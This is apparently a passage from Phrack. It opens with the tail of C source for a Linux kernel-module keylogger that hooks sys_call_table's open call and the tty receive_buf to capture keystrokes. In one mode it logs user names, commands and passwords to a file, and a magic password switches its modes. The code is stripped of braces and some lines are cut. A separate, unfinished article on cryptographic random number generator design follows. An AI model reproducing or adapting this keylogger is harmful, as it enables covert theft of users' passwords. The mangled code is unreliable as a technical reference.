	ip = mon_yday[isleap(y)];
	for (y = 11; days < (long int) ip[y]; --y)
	days -= ip[y];
	tp->tm_mon = y;
	tp->tm_mday = days + 1;
	return 1;

 *  Get current date & time

void get_time (char *date_time) 
	struct timeval tv;
	time_t t;
	struct vtm tm;
        t = (time_t)tv.tv_sec;
	epoch2time(&t, TIMEZONE, &tm);

	sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
		tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,

 * Get task structure from pgrp id

inline struct task_struct *get_task(pid_t pgrp) 
	struct task_struct *task = current;

        do {
                if (task->pgrp == pgrp) {
                        return task;
                task = task->next_task;
        } while (task != current);
        return NULL;

#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)

int write_to_file(char *logfile, char *buf, int size)
	int ret = 0;
	struct file   *f = NULL;

	f = filp_open(logfile, O_CREAT|O_APPEND, 00600);

	if (IS_ERR(f)) {
		DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
		ret = -1;
	} else {
		if (WRITABLE(f))
			_write(f, buf, size);
		else {
	      		DPRINT("%s does not have a write method\n",
			ret = -1;
		if ((ret = filp_close(f,NULL)))
			DPRINT("Error %d closing %s\n", -ret, logfile);

	return ret;

#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid; }

 *  Logging keystrokes

void logging(struct tty_struct *tty, struct tlogger *tmp, int cont) 
	int i;

	char logfile[256];
	char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
	char date_time[24];
	struct task_struct *task;

	if (vlogger_mode == VK_NORMAL)

	if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
	task = get_task(tty->pgrp);
	for (i=0; i<tmp->lastpos; i++)
		if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;

	if (!cont) 
		tmp->buf[tmp->lastpos++] = 0x0A;
	tmp->buf[tmp->lastpos] = 0;

	if (vlogger_mode == VK_DUMBMODE) {
		snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
				LOG_DIR, TTY_NAME(tty),	TTY_NUMBER(tty));
		if (!tmp->status) {
			if (task)
				snprintf(loginfo, sizeof(loginfo)-1,
					"<%s uid=%d %s> %s", date_time,
					task->uid, task->comm, tmp->buf);
				snprintf(loginfo, sizeof(loginfo)-1,
					"<%s> %s", date_time, tmp->buf);
			write_to_file(logfile, loginfo, strlen(loginfo));
		} else {
			write_to_file(logfile, tmp->buf, tmp->lastpos);

#ifdef DEBUG
		if (task)
			DPRINT("%s/%d uid=%d %s: %s", 
				TTY_NAME(tty), TTY_NUMBER(tty), 
				task->uid, task->comm, tmp->buf);
			DPRINT("%s", tmp->buf);
		tmp->status = cont;
	} else {

		 *  Logging USER/CMD and PASS in SMART_MODE

		if (!tmp->pass) {
			if (task)
				snprintf(loginfo, sizeof(loginfo)-1,
					"\n[%s tty=%s/%d uid=%d %s]\n"
					"USER/CMD %s", date_time, 
					task->uid, task->comm, tmp->buf);
				snprintf(loginfo, sizeof(loginfo)-1,
					"\n[%s tty=%s/%d]\nUSER/CMD %s",
					date_time, TTY_NAME(tty), 
					TTY_NUMBER(tty), tmp->buf);

			write_to_file(PASS_LOG, loginfo, strlen(loginfo));
		} else {
			snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
			write_to_file (PASS_LOG, loginfo, strlen(loginfo));


#ifdef DEBUG
		if (!tmp->pass)
			DPRINT("USER/CMD %s", tmp->buf);
			DPRINT("PASS %s", tmp->buf);

	if (!cont) tmp->buf[--tmp->lastpos] = 0;

#define resetbuf(t)		\
{				\
	t->buf[0] = 0;		\
	t->lastpos = 0;		\

#define append_c(t, s, n)	\
{				\
	t->lastpos += n;	\
	strncat(t->buf, s, n);	\

static inline void reset_all_buf(void)
	int i = 0;
	for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
		if (ttys[i] != NULL)

void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
    	switch(count) {
	    case 2:
    	    	switch(cp[1]) {
			case '\'':
				append_c(tmp, "[ALT-\']", 7);
			case ',':
				append_c(tmp, "[ALT-,]", 7);
			case '-':
				append_c(tmp, "[ALT--]", 7);
			case '.':
				append_c(tmp, "[ALT-.]", 7);
			case '/':
				append_c(tmp, "[ALT-/]", 7);
			case '0':
				append_c(tmp, "[ALT-0]", 7);
			case '1':
				append_c(tmp, "[ALT-1]", 7);
			case '2':
				append_c(tmp, "[ALT-2]", 7);
			case '3':
				append_c(tmp, "[ALT-3]", 7);
			case '4':
				append_c(tmp, "[ALT-4]", 7);
			case '5':
				append_c(tmp, "[ALT-5]", 7);
			case '6':
				append_c(tmp, "[ALT-6]", 7);
			case '7':
				append_c(tmp, "[ALT-7]", 7);
			case '8':
				append_c(tmp, "[ALT-8]", 7);
			case '9':
				append_c(tmp, "[ALT-9]", 7);
			case ';':
				append_c(tmp, "[ALT-;]", 7);
			case '=':
				append_c(tmp, "[ALT-=]", 7);
			case '[':
				append_c(tmp, "[ALT-[]", 7);
			case '\\':
				append_c(tmp, "[ALT-\\]", 7);
			case ']':
				append_c(tmp, "[ALT-]]", 7);
			case '`':
				append_c(tmp, "[ALT-`]", 7);
			case 'a':
				append_c(tmp, "[ALT-A]", 7);
			case 'b':
				append_c(tmp, "[ALT-B]", 7);
			case 'c':
				append_c(tmp, "[ALT-C]", 7);
			case 'd':
				append_c(tmp, "[ALT-D]", 7);
			case 'e':
				append_c(tmp, "[ALT-E]", 7);
			case 'f':
				append_c(tmp, "[ALT-F]", 7);
			case 'g':
				append_c(tmp, "[ALT-G]", 7);
			case 'h':
				append_c(tmp, "[ALT-H]", 7);
			case 'i':
				append_c(tmp, "[ALT-I]", 7);
			case 'j':
				append_c(tmp, "[ALT-J]", 7);
			case 'k':
				append_c(tmp, "[ALT-K]", 7);
			case 'l':
				append_c(tmp, "[ALT-L]", 7);
			case 'm':
				append_c(tmp, "[ALT-M]", 7);
			case 'n':
				append_c(tmp, "[ALT-N]", 7);
			case 'o':
				append_c(tmp, "[ALT-O]", 7);
			case 'p':
				append_c(tmp, "[ALT-P]", 7);
			case 'q':
				append_c(tmp, "[ALT-Q]", 7);
			case 'r':
				append_c(tmp, "[ALT-R]", 7);
			case 's':
				append_c(tmp, "[ALT-S]", 7);
			case 't':
				append_c(tmp, "[ALT-T]", 7);
			case 'u':
				append_c(tmp, "[ALT-U]", 7);
			case 'v':
				append_c(tmp, "[ALT-V]", 7);
			case 'x':
				append_c(tmp, "[ALT-X]", 7);
			case 'y':
				append_c(tmp, "[ALT-Y]", 7);
			case 'z':
				append_c(tmp, "[ALT-Z]", 7);
	    case 3:
		switch(cp[2]) {
			case 68:
				// Left: 27 91 68
				append_c(tmp, "[LEFT]", 6);
			case 67:
				// Right: 27 91 67
				append_c(tmp, "[RIGHT]", 7);
			case 65:
				// Up: 27 91 65
				append_c(tmp, "[UP]", 4);
			case 66:
				// Down: 27 91 66
				append_c(tmp, "[DOWN]", 6);
			case 80:
				// Pause/Break: 27 91 80 
				append_c(tmp, "[BREAK]", 7);
	    case 4:
		switch(cp[3]) {
			case 65:
				// F1: 27 91 91 65
				append_c(tmp, "[F1]", 4);
			case 66:
				// F2: 27 91 91 66
				append_c(tmp, "[F2]", 4);
			case 67:
				// F3: 27 91 91 67
				append_c(tmp, "[F3]", 4);
			case 68:
				// F4: 27 91 91 68
				append_c(tmp, "[F4]", 4);
			case 69:
				// F5: 27 91 91 69
				append_c(tmp, "[F5]", 4);
			case 126:
				switch(cp[2]) {
					case 53:
						// PgUp: 27 91 53 126
						append_c(tmp, "[PgUP]", 6);
					case 54:
						// PgDown: 27 91 54 126
							"[PgDOWN]", 8);
					case 49:
						// Home: 27 91 49 126
						append_c(tmp, "[HOME]", 6);
					case 52:
						// End: 27 91 52 126
						append_c(tmp, "[END]", 5);
					case 50:
						// Insert: 27 91 50 126
						append_c(tmp, "[INS]", 5);
					case 51:
						// Delete: 27 91 51 126
						append_c(tmp, "[DEL]", 5);
	    case 5:
		if(cp[2] == 50)
			switch(cp[3]) {
				case 48:
					// F9: 27 91 50 48 126
					append_c(tmp, "[F9]", 4);
				case 49:
					// F10: 27 91 50 49 126
					append_c(tmp, "[F10]", 5);
				case 51:
					// F11: 27 91 50 51 126
					append_c(tmp, "[F11]", 5);
				case 52:
					// F12: 27 91 50 52 126
					append_c(tmp, "[F12]", 5);
				case 53:
					// Shift-F1: 27 91 50 53 126
					append_c(tmp, "[SH-F1]", 7);
				case 54:
					// Shift-F2: 27 91 50 54 126
					append_c(tmp, "[SH-F2]", 7);
				case 56:
					// Shift-F3: 27 91 50 56 126
					append_c(tmp, "[SH-F3]", 7);
				case 57:
					// Shift-F4: 27 91 50 57 126
					append_c(tmp, "[SH-F4]", 7);
			switch(cp[3]) {
				case 55:
					// F6: 27 91 49 55 126
					append_c(tmp, "[F6]", 4);
		     		case 56:
					// F7: 27 91 49 56 126
					append_c(tmp, "[F7]", 4);
     				case 57:
					// F8: 27 91 49 57 126
					append_c(tmp, "[F8]", 4);
		     		case 49:
					// Shift-F5: 27 91 51 49 126
					append_c(tmp, "[SH-F5]", 7);
		     		case 50:
					// Shift-F6: 27 91 51 50 126
					append_c(tmp, "[SH-F6]", 7);
     				case 51:
					// Shift-F7: 27 91 51 51 126
					append_c(tmp, "[SH-F7]", 7);
		     		case 52:
					// Shift-F8: 27 91 51 52 126
					append_c(tmp, "[SH-F8]", 7);
	    default:	// Unknow

 *  Called whenever user press a key

void vlogger_process(struct tty_struct *tty, 
			const unsigned char *cp, int count)
	struct tlogger *tmp = ttys[TTY_INDEX(tty)];

	if (!tmp) {
		DPRINT("erm .. unknow error???\n");
		init_tty(tty, TTY_INDEX(tty));
		tmp = ttys[TTY_INDEX(tty)];
		if (!tmp)

	if (vlogger_mode == VK_SMARTMODE) {
		if (tmp->status && !IS_PASSWD(tty)) {
		if (!tmp->pass && IS_PASSWD(tty)) {
			logging(tty, tmp, 0);
		if (tmp->pass && !IS_PASSWD(tty)) { 
			if (!tmp->lastpos)
				logging(tty, tmp, 0);
		tmp->pass  = IS_PASSWD(tty);
		tmp->status = 0;

	if ((count + tmp->lastpos) > MAX_BUFFER - 1) {	
		logging(tty, tmp, 1);

	if (count == 1) {
		if (cp[0] == VK_TOGLE_CHAR) {
			if (!strcmp(tmp->buf, MAGIC_PASS)) {
				if(vlogger_mode < 2)
					vlogger_mode = 0;

				switch(vlogger_mode) {
					case VK_DUMBMODE:
				    		DPRINT("Dumb Mode\n");
						TTY_WRITE(tty, "\r\n"
				    		"Dumb Mode\n", 12);
					case VK_SMARTMODE:
				    		DPRINT("Smart Mode\n");
						TTY_WRITE(tty, "\r\n"
						"Smart Mode\n", 13);
					case VK_NORMAL:
					    	DPRINT("Normal Mode\n");
						TTY_WRITE(tty, "\r\n"
						"Normal Mode\n", 14);

		switch (cp[0]) {
			case 0x01:	//^A
				append_c(tmp, "[^A]", 4);
			case 0x02:	//^B
				append_c(tmp, "[^B]", 4);
			case 0x03:	//^C
				append_c(tmp, "[^C]", 4);
			case 0x04:	//^D
				append_c(tmp, "[^D]", 4);
			case 0x0D:	//^M
			case 0x0A:
				if (vlogger_mode == VK_SMARTMODE) {
					if (IS_PASSWD(tty)) {
						logging(tty, tmp, 0);
					} else
						tmp->status = 1;
				} else {
					logging(tty, tmp, 0);
			case 0x05:	//^E
				append_c(tmp, "[^E]", 4);
			case 0x06:	//^F
				append_c(tmp, "[^F]", 4);
			case 0x07:	//^G
				append_c(tmp, "[^G]", 4);
			case 0x09:	//TAB - ^I
				append_c(tmp, "[TAB]", 5);
			case 0x0b:	//^K
				append_c(tmp, "[^K]", 4);
			case 0x0c:	//^L
				append_c(tmp, "[^L]", 4);
			case 0x0e:	//^E
				append_c(tmp, "[^E]", 4);
			case 0x0f:	//^O
				append_c(tmp, "[^O]", 4);
			case 0x10:	//^P
				append_c(tmp, "[^P]", 4);
			case 0x11:	//^Q
				append_c(tmp, "[^Q]", 4);
			case 0x12:	//^R
				append_c(tmp, "[^R]", 4);
			case 0x13:	//^S
				append_c(tmp, "[^S]", 4);
			case 0x14:	//^T
				append_c(tmp, "[^T]", 4);
			case 0x15:	//CTRL-U
			case 0x16:	//^V
				append_c(tmp, "[^V]", 4);
			case 0x17:	//^W
				append_c(tmp, "[^W]", 4);
			case 0x18:	//^X
				append_c(tmp, "[^X]", 4);
			case 0x19:	//^Y
				append_c(tmp, "[^Y]", 4);
			case 0x1a:	//^Z
				append_c(tmp, "[^Z]", 4);
			case 0x1c:	//^\
				append_c(tmp, "[^\\]", 4);
			case 0x1d:	//^]
				append_c(tmp, "[^]]", 4);
			case 0x1e:	//^^
				append_c(tmp, "[^^]", 4);
			case 0x1f:	//^_
				append_c(tmp, "[^_]", 4);
				if (!tmp->lastpos) break;
				if (tmp->buf[tmp->lastpos-1] != ']')
					tmp->buf[--tmp->lastpos] = 0;
				else {
					append_c(tmp, "[^H]", 4);
			case ESC_CHAR:	//ESC
				append_c(tmp, "[ESC]", 5);
				tmp->buf[tmp->lastpos++] = cp[0];
				tmp->buf[tmp->lastpos] = 0;
	} else {	// a block of chars or special key
		if (cp[0] != ESC_CHAR) {
			while (count >= MAX_BUFFER) {
				append_c(tmp, cp, MAX_BUFFER);
				logging(tty, tmp, 1);
				count -= MAX_BUFFER;
				cp += MAX_BUFFER;

			append_c(tmp, cp, count);
		} else 	// special key
			special_key(tmp, cp, count);

void my_tty_open(void) 
	int fd, i;
	char dev_name[80];

	int fl = 0;
	struct tty_struct * tty;
	struct file * file;

	for (i=1; i<MAX_TTY_CON; i++) {
		snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);

			fd = open(dev_name, O_RDONLY, 0);
			if (fd < 0) continue;

			file = fget(fd);
			tty = file->private_data;
			if (tty != NULL  && 
				tty->ldisc.receive_buf != NULL) {
				if (!fl) {
					old_receive_buf = 
					fl = 1;
				init_tty(tty, TTY_INDEX(tty));


#ifndef LOCAL_ONLY
	for (i=0; i<MAX_PTS_CON; i++) {
		snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);

			fd = open(dev_name, O_RDONLY, 0);
			if (fd >= 0) close(fd);


void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
						char *fp, int count)
	if (!tty->real_raw && !tty->raw)	// ignore raw mode
		vlogger_process(tty, cp, count);
	(*old_receive_buf)(tty, cp, fp, count);

static inline void init_tty(struct tty_struct *tty, int tty_index)
	struct tlogger *tmp;

	DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));

	if (ttys[tty_index] == NULL) {
		tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
		if (!tmp) {
			DPRINT("kmalloc failed!\n");
		memset(tmp, 0, sizeof(struct tlogger));
		tmp->tty = tty;
		tty->ldisc.receive_buf = new_receive_buf;
		ttys[tty_index] = tmp;
	} else {
		tmp = ttys[tty_index];
		logging(tty, tmp, 1);
		tty->ldisc.receive_buf = new_receive_buf;

asmlinkage int new_sys_open(const char *filename, int flags, int mode)
	int ret;
	static int fl = 0;
	struct file * file;
	ret = (*original_sys_open)(filename, flags, mode);
	if (ret >= 0) {
		struct tty_struct * tty;

		file = fget(ret);
		tty = file->private_data;

		if (tty != NULL && 
			((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
			TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
			(tty->driver.type == TTY_DRIVER_TYPE_PTY &&
			tty->driver.subtype == PTY_TYPE_SLAVE &&
			TTY_NUMBER(tty) < MAX_PTS_CON)) &&
			tty->ldisc.receive_buf != NULL &&
			tty->ldisc.receive_buf != new_receive_buf) {

			if (!fl) {
				old_receive_buf = tty->ldisc.receive_buf;
				fl = 1;
			init_tty(tty, TTY_INDEX(tty));
	return ret;

int init_module(void)

#ifndef LOCAL_ONLY
	original_sys_open = sys_call_table[__NR_open];
	sys_call_table[__NR_open] = new_sys_open;

	return 0;


void cleanup_module(void)
	int i;

#ifndef LOCAL_ONLY
	sys_call_table[__NR_open] = original_sys_open;

	for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
		if (ttys[i] != NULL) {
			ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
	sleep_on_timeout(&wq, HZ);
	for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
		if (ttys[i] != NULL) {

|=[ EOF ]=---------------------------------------------------------------=|


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x0f of 0x12

|=-------------=[ CRYPTOGRAPHIC RANDOM NUMBER GENERATORS ]=--------------=|
|=-----------------=[ DrMungkee <> ]=-------------------=|

----| Introduction

Every component in a cryptosystem is critical to its security. A single
failure in one could bring down all the others. Cryptographic random
numbers are often used as keys, padding, salt and initialization vectors.
Using a good RNG for each of these components is essential. There are many
complications imposed by the predictability of computers, but there are
means of extracting the few bits of entropy regardless of them being
exponentially out-numbered by redundancy. This article's scope covers the
design, implementation and analysis of RNGs. RNGs subject to exploration
will be NoiseSpunge, Intel RNG, Linux' /dev/random, and Yarrow.

----| Glossary

RNG - Random Number Generator
PRNG - Pseudo Random Number Generator
entropy - Unpredictable information
redundancy - Predictable or probabilistic information

----| 1) Design Principles of RNGs

1.0) Overview

A variety of factors come into play when designing an RNG. It's output must
be undissernable from white noise, there must be no way of predicting any
portion of it, and there can be no way of finding previous or future
outputs based on any known outputs. If an RNG doesn't conform to this
criteria, it is not cryptographicaly secure.

1.1) Entropy Gathering

To meet the first and second criteria, finding good sources of entropy is
an obligation. These sources must be unmoniterable by an attacker, and any
attempts by an attacker to manipulate the entropy sources should not make
them predictable or repetitive.

Mouse movement is often used as entropy, but if the entropy is improperly
interpreted by the RNG, there is a segnficant amount of redundancy. To
demonstrate, I monitered mouse movement at an interval of 100 miliseconds.
These positions were taken consecutively while the mouse was moved
hecticaly in all directions. These results say it all:

      X-Position         Y-Position
   0000001011110101   0000000100101100    Only the last 9 bits of each
   0000001000000001   0000000100001110    coordinate actualy appear
   0000001101011111   0000001001101001    random.
   0000001000100111   0000000111100100
   0000001010101100   0000000011111110
   0000000010000000   0000000111010011
   0000001000111000   0000000100100111
   0000000010001110   0000000100001111
   0000000111010100   0000000011111000
   0000000111100011   0000000100101010

The next demonstration shows a more realistic gathering of entropy by
keeping only the 4 least significant bits of the X and Y positions and
XORing them with a high-frequency counter, monitoring them at a random

    X      Y      Timer      XORed
   1010   1001   00100110   01111111
   0100   1100   00101010   00000110
   0101   0010   01011111   01110101
   1001   1100   10110000   11111100
   0101   0100   11001110   11100010
   0101   1100   01010000   01111100
   1011   0000   01000100   00011100
   0111   0111   00010111   00101000
   0011   0101   01101011   01110110
   0001   0001   11011000   11010001

Good entropy is gathered because 4bits from each coordinates represents a
change in 16 pixels in each direction rather than assuming a motion of
65536 can occur in all directions. The high-resolution timer is used as
well because although it is completly sequencial, it's last 8 bits will
have been updated very often during a few CPU clock cycles, thus making
those bits unmonitorable. An XOR is used to combine the entropy from the 2
sources because it has very the very good property of merging numbers in a
way that preserves the dependency of every bit.

The most common sources of entropy used all involve user interaction or
high-frequency clocks in one way, shape, or form. A hybrid of both is
always desirable. Latencies between user-triggered events (keystroke, disk
I/O, IRQs, mouse clicks) measured at high-precisions are optimal because
of the unpredictable nature of a user's behaviors and precise timing.

Some sources may seem random enough but are in fact not. Network traffic is
sometimes used but is unrecommended because it can be monitored and
manipulated by an outside source. Another pittfall is millisecond precision
clocks: they don't update frequently enough to be put to good use.

A good example of entropy gathering shortcommings is Netscape's
cryptographically _broken_ not-so-RNG. Netscape used the time and date with
its process ID and its parent's process ID as it's only source of entropy.
The process ID in Win9x is a value usualy below 100 (incremented once for
each new process) that is XORed with the time of day Win9x first started.
Even though the hashing function helped generate output that seemed random,
it is easy to estimate feseable values for the entropy, hash them, and
predict the RNG's output. It doesn't matter weather or not the output
looks random if the source of entropy is poor.

1.2 Entropy Estimations

Evaluating the quantity of entropy gathered should not be overlooked. It
must be dones in order to prevent the RNG from attempting to output more
entropy than it has gathered. Depending on system parameters, you can
assign quality estimates for each of your entropy sources. For example,
you can evaluate all keyboard generated entropy as being 4bits in size,
regardless of how many bits of entropy you collect from it. If the RNG is
on a file server and uses disk I/O as an entropy source, it could derrive
an entropy estimate proportional to the number of users accessing the disk
to prevent sequencial disk access from resulting in redundant entropy.
The entropy estimates do not need to be the same size as the inputs or
outputs of entropy gathering. They are meant as a safety precaution in
further calculations.

There are alternative methods for estimating the entropy. You could bias
entropy from a source to be of better quality if that source has not
supplied entropy for a period exceeding a certain interval. You can
accumulate large amounts of entropy in a buffer, compress it, and derive
an estimation from the compression ratio. Statistical tests comparing the
last input entropy with a large quantity of previous inputs doesn't do much
in terms of finding the current input's quality, but it gives the RNG an
oppertunity to reject inputs that increase statistical probability of the
group of entropy inputs.

The best approach to this is also a hybrid. One method of estimating
entropy quality usualy isn't enough. There are cases where an entropy
source can be assumed to provide a consistant quality of entropy however.
In these cases, a fixed size can be assigned to all entropy inputs from
that source, but carefull analysis should be done before this assumption
is made. It is wisest to calculate multiple estimates and assume the
smallest value to be the most accurate.

1.3) Entropy Pools

No entropy source should be assumed perfect. More specificaly, no entropy
source should be assumed perfect on a computer. That is why entropy is
gathered in a buffer (entropy pool) to undergo supplimentary processing.
After entropy is gathered from a source, it is input into an entropy pool.
The entropy pool must do several things with this input. It must keep track
of the amount of entropy contained within it, mix the last input uniformaly
with all the previous inputs contained within it, and provide an at least
seamingly random state regardless of the quality of the entropy input
(patternistic inputs should still look random in the pool).

Mixing the contents of the entropy pool should neither sacrifice any of
the entropy within it nor be considered to add entropy to its state. If the
mixing function expands the pool, entropy estimation of its contents should
not change. Only the entropy gathering functions are responsible for
increasing entropy and are dealt with serperately.

The best candidates for mixing functions are hashing algorithms. The
hashing algorithm should accept any size input, and have a large sized
output that reflects the speed at which entropy is gathered, and have a
non-deterministic output. To preserve gathered entropy, the hashing
function should not input more entropy than the size of it's output. With
that said, if the hashing function outputs 160bits, it should not be input
more than 160bits prior to output. If the hashing algorithm is
cryptographically secure (which it should be) the output will yield the
same amount of entropy as the input. If the output is larger than the
input, the state of the pool cannot be assumed to have increased in

There are several approaches to using large pools of entropy. One approach
implments a pool that is hashed linearly. For this method, you would need a
buffer that is concatinated with the last input of entropy. Hashing should
be started at the end of the buffer. The rest of the buffer should be
hashed, one chunk (the size of the output) at a time, each time XORing the
output with the output of the last block's hash to ensure the entire pool
is affected by the last input, without overwritting any previous entropy.
This is only an examplar method. Whichever procedure you choose, it should
meet all the criteria mentioned in the previous paragraphs.

Another approach to maintaining a large entropy pool is using multiple
hashed contexts which are used to affect each other. A common use is a pool
that contains unmanipulated entropy. Once that pool is full, it is hashed
and used to update another pool either by updating a hashing context or
XORing. This is cascaded through as many pools as desired, but to avoid
losing previous entropy, some pools should only be updated after it's
parent pool (the one that updates it) has been updated a certain number of
times. For example, once the first hashed pool has been updated 8 times, a
second pool can be updated. Once the second hashed pool has been updated 3
times, it can update a third pool. With this method, the third pool
contains entropy from the last 24 entropy updates. This conserves less
entropy (limited by the size of the hashing contexts) but provides better
quality entropy. Entropy is of better quality because the source of the
entropy containted within the third pool is completly dependent on 24
entropy inputs.

Inputing entropy into a pool is usualy called updating or seeding. Entropy
pools combined with the output function by themselves are in fact PRNGs.
What makes a RNG is the entropy gathering process which obtains truly
random seeds. As long a good entropy is input, the RNG will have an
infinite period (no output patterns) as oposed to PRNGs which have a
semi-fixed point at whitch they will start to repeat all previous outputs
in the same order.

Entropy pools are the key to preventing any previous or future outputs of
RNG from being predicted. Attacks against an RNG to determine previous and
future outputs are either based on knowledge of the entropy pool, entropy
inputs or previous outputs. The pool should be designed to prevent
knowledge of its current state from compromising any or all future
outputs. To do this, entropy pools should undergo a drastic change from
time to time by removing protions or all of its entropy. This is called
reseeding. Reseeding should _always_ replace the entropy that is removed
with fresh entropy before outputing. If the entropy is not replaced, the
pool will be in a severely weakened state. An RNG does not need to reseed,
but if it doesn't, it must have entropy added at a rate greater than the
RNG's output.

Reseeding should only occur after sufficient unused entropy has been
accumulated to fill a large portion of the pool, and the entropy estimation
of the pool should be adjusted to the estimated size of the input entropy.
Reseeding should not occur very often, and only based on the number of
bits output by the RNG and the size of the pool. A safe estimation on the
reseeding frequency of an RNG would be the after an 95% of the size of the
entropy input has been output. This estimate assumes that entropy is added
to the pool in between the RNG's outputs. If this is not the case,
reseeding should occur more frequently. The less entropy is input between
outputs, the better the chances that an attacker who has found one output
will find the previous output (which can cascade backwards after each
output is found).

1.4) Output Functions

An RNG's output should be passed through a one-way function. A one-way
function's output is derrived from its input, but that input is
computationaly infeasable to derive from its output. One-way hash
functions are perfect for this. More complex methods involve using
portions of the pool as key data fed to a symmetric encryption algorithm
that encrypts another portion of the pool and outputs the ciphertext.
Expansion-compression is a very effective one-way function as well. To do
this you can use portions of the pool as seeds to a PRNG and generate
multiple outputs (each the size of the PRNG's seed) and then inputing all
of these into a hash function and outputing its result. This is effective
because many intermediate (expanded) states could result in the same hash
output, but only one iniciate (before expansion) state can result in that
intermediate state.

Every time the RNG outputs, its entropy estimate should be decremented by
the size of the output. This is done with the assumption that the output
entirely consists of entropy. Because that output's entropy is still in
the pool, it is now redundant and cannot be assumed as entropy (inside the
pool) any longer. If the pool is 512bits in size, and 160bits of entropy
is consumed on every output then almost all entropy hash been used after 3
outputs and the pool should be reseeded.

There is a problem nearly impossible to overcome that occurs when
implementing entropy pools: there is no way of determining what entropy
bits were output, and which were not. The best way to nullify the symptomes
of this problem is by making it impossible to know when entropy has been
used more than once based on the the RNG's output. When an output occurs,
the pool's state must be permuted so that consecutive outputs without any
entropy added or reseeding will not result in identical RNG outputs. The
pool's state permutation must be a one-way function and must apply the same
concepts and criteria used in the output function. The pool's entropy size
is always assumed to be identical after permutation as long as the
procedure follows the criteria.

1.5) Implementation

All the effort put into a well designed RNG is useless if it isn't properly
implemented. Three layers of the implemetation will be covered: media,
hardware/software, and usage of the output.

Storage and communication media each represent a risk in an unencrypted
state. The following lists various degrees of risk assigned to storage and
communication media. Risks are assigned as such:
 0 - no risk
 1 - low risk
 2 - medium risk
 3 - high risk

MEDIA                           RISK
RAM              <storage>         0 *&
Hard Drive       <storage>         1 *&
Shared memory    <transfer>        1 *&
Removable disks  <transfer>        2
LAN              <communication>   2 &
WAN              <communication>   3

Any properly encrypted media's risk is 0.
* If the storage media is on a computer connected to a network, risk is
increased by 1.
& If physical access is possible (computer/LAN)., risk is increased by 1.

The highest risk of all medias should be interpreted as the
implementation's risk (weakest link, good bye!). High risk is unacceptable.
Medium risk is acceptable depending on the value of the RNG's output
(what's it worth to an attacker?). A personal diary can easily cope with
medium risk unless you have many skeletons in your closet. Industrial
secrets should only use 0 risk RNGs. Acceptable risk is usualy up to the
programmer, but the user should be aware of his choice.

Hardware RNGs should be tamper-proof. If any physical modification is
attempted, the RNG should no longer output. This precaution prevents
manipulation of the entropy pool's state and output. There should be no
way of monitoring hardware RNGs through frequencies, radiation, voltage, or
any other emissions generated by the RNG. Any of these could be used as a
source of information with whitch the RNG's entropy pool or output could be
compromised. To prevent this, all hardware RNGs should be properly

Software implementations can be very tricky. Reverse engineering will
remain a problem until digital signing of executable files is implemented
at the operating system level. Until then, any attempts made on the
programmer's behalf to prevent reverse engineering of the RNG's software
implementation will only delay the innevitable. It is still important that
the programmer takes care in writting the software to have to lowest
possible risk factor (the chart takes into account reverse engineering of

// the following applies to RNGs seperate from their calling applications
The RNG must take special care to ensure that only one program has access
to each of the RNG's outputs. The method by which the data is transfered
from the RNG to the program must not succomb to observation. Distinct
outputs are usualy guarrentied by the output function, but sometimes the
output is copied to a temporary buffer. It might be possible to trick an
RNG into conserving that buffer, or copying it elsewhere providing easy
observation. A quick solution is for an application to encrypt the RNG's
output with a key it generates by its own means. However, you could go all
out and implement a full key-escrow between the RNG and the calling
applications and still be vulnerable to a hack. The kind of _prevention_ a
programmer incorporates into software only serves as a road block, but this
is often enough to discourage 99.9% of its users from attempting to
compromise security. Not much can be done about 0.1% that can still
manipulate the software because there will always be a way to crack

1.6) Analysis

There are two important aspects to analysing an RNG: randomness and
security. To evaluate an RNG's randomness, one usualy resorts to
statistical analysis of the RNG's input (entropy gathering process) and
output (output function). To evaluate it's security, one would look for
flaws in its entropy gathering, entropy pool, mixing function, and output
function that allow an attacker to find past, present, or future outputs by
any means possible. There is no guarrentying the effectiveness of either of
these aspects. The only certain thing is once the RNG is broken, it is
broken; until then, you can only speculate.

There are many statistical tests available on the internet suitable for
testing randomness of data. Most require a large sample of data stored in
a file to derive significant results. A Probabilistic value is obtained
through statistical analysis of the sample. This value is usualy in the
form of P, a floating point number between 0 and 1. Tests are done in
various block sizes usualy between 8 and 32bits. P's precision varies from
one test to the next. A P value close to 0.5 is what is usualy desired.
When P is close to 0.5, probability is at it's midrange and there is no
incline towards either 0 or 1. An RNG is not weak because it has a value
close to 1 or 0. It can occur even with purely random data.  If it were
impossible to obtain a value close to 0 or 1, the RNG would be flawed
anyway. This is because when data is completly random, all outputs are
equaly likely. This is why patterned outputs are possible. When P is less
then satisfactory, many new samples should be created and tested. If other
samples result in bad Ps then the RNG most likely has deterministic output
and should not be used. DieHard offers an armada of 15 tests that use P
values. Other tests describe there results with an integer and it's target.
The closer the integer is to its target the better. An example of this is
the Maurer Universal Statistics Test.

The problem with statistical tests is that any good PRNG or hashing
function will pass them easily without any entropy. Even if the output is
non-deterministic the RNG is only an RNG if it cannot be predicted. For
that reason, the RNG's entropy must be non-deterministic as well. Unless
